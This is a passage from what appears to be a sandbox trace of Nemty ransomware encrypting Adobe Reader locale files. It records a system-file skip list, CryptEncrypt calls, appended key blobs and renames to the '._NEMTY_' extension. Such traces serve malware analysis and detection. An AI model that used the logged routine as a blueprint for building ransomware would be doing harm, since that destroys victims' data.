lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.448] Sleep (dwMilliseconds=0x5) [0181.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fcdbeb0, dwHighDateTime=0x1d561e8)) [0181.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fcdbeb0, dwHighDateTime=0x1d561e8)) [0181.457] GetLastError () returned 0x0 [0181.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.457] GetLastError () returned 0x0 [0181.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.457] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.457] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.457] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.458] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="59AZ54Tx0qw2xHrKlYZeeFI3cQ+5bjOR5nBcWGyh1JHXl9MyLQ04S7WVIA2AiFKY\r\nB7P75b5ITnsQ7ahUMJtT5B6RCdA2aRBokXMgfScQwJv+DvrJotyaz3yTJ9cWjh61\r\n+Ma0aQfZr/hMAa5gQKuv8xkPAcBnwxkQ+VVPcBZvsZ+14+ugyq88ynCsP0CAR/90\r\nthHXpcZxoF4JzX4U3tbAl52C0uJEqDThViINjtEYQq2LfTNHyA1pV5egTavNAK+u\r\n3y8NHo2OF86SNYcmNXgb56TYRj2BY0tRVgeThTbY/MUJmHWcz4cs6W1J2L/c426W\r\ng0oSNZJ4z4FJcsB/ldvzRg==\r\n", pcchString=0x653e5dc) returned 1 [0181.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\EScript.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\escript.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.458] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40960) returned 1 [0181.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa000) returned 0x6352c48 [0181.458] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.458] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa000, lpOverlapped=0x0) returned 1 [0181.462] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.462] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa000, lpOverlapped=0x0) returned 1 [0181.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000 [0181.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.463] CloseHandle (hObject=0x2e8) returned 1 [0181.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.472] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\EScript.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\escript.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\EScript.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\escript.ptb._nemty_kgobjgd_")) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.473] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.PTB", cAlternateFileName="")) returned 1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2=".") returned 1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="..") returned 1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="...") returned 1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="windows") returned -1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="rsa") returned -1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="NTDETECT.COM") returned -1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="ntldr") returned -1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="MSDOS.SYS") returned -1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="IO.SYS") returned -1 [0181.473] lstrcmpiW (lpString1="IA32.PTB", lpString2="boot.ini") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="boot.ini") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="ntuser.dat") returned -1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="desktop.ini") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="CONFIG.SYS") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="RECYCLER") returned -1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="bootmgr") returned 1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="programdata") returned -1 [0181.474] lstrcmpiW (lpString1="IA32.PTB", lpString2="appdata") returned 1 [0181.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.PTB", lpUsedDefaultChar=0x0) returned 8 [0181.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.PTB", lpUsedDefaultChar=0x0) returned 8 [0181.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.PTB", lpUsedDefaultChar=0x0) returned 8 [0181.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0181.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.PTB", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.PTB", lpUsedDefaultChar=0x0) returned 8 [0181.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.474] Sleep (dwMilliseconds=0x5) [0181.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd28170, dwHighDateTime=0x1d561e8)) [0181.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd28170, dwHighDateTime=0x1d561e8)) [0181.488] GetLastError () returned 0x0 [0181.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.488] GetLastError () returned 0x0 [0181.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.488] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.488] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.489] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.489] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="lXtlkCqMipYlbDUMsfAeckrIOy26zdDpI69mEcDUc74I14U0Q6GK95oHuL4X5fDJ\r\nDtO1JMjVFoRPK+iy9Z9jCBDz8hoXHDHRLuezyjXx7pSmRHzugSkTo6SKqjOTj3+5\r\nEr1mVUfo9h23p0psBLnNwXJ31qJIMYxV0e1n1KgdAzh11Am7KS9gkDU58/9GPqy+\r\nphJElaYYS4OLx178nKpvvSvu61Lu60xStNRah5CIQzp9Irh7UFsiox6m+txWqXm7\r\ngIf734oQPbgeDe6nDNdoDEZDDCpfIruLjXrxJi0k0y/eu3vtoC4c4gAZXAZnczDF\r\nmlZ8P1ZGveERsPoe3PXoJQ==\r\n", pcchString=0x653e5dc) returned 1 [0181.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\IA32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ia32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.489] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0181.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0181.489] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.489] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0181.491] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.491] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0181.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0181.491] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0181.491] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.492] CloseHandle (hObject=0x2e8) returned 1 [0181.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0181.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.492] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\IA32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ia32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\IA32.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ia32.ptb._nemty_kgobjgd_")) returned 1 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.493] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.PTB", cAlternateFileName="MAKEAC~1.PTB")) returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2=".") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="..") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="...") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="windows") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="rsa") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="NTDETECT.COM") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="ntldr") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="MSDOS.SYS") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="IO.SYS") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="boot.ini") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="boot.ini") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="ntuser.dat") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="desktop.ini") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="CONFIG.SYS") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="RECYCLER") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="bootmgr") returned 1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="programdata") returned -1 [0181.493] lstrcmpiW (lpString1="makeaccessible.PTB", lpString2="appdata") returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0181.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.PTB", lpUsedDefaultChar=0x0) returned 18 [0181.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0181.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.PTB", lpUsedDefaultChar=0x0) returned 18 [0181.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0181.494] HeapFree (in: hHeap=0x4f90000, 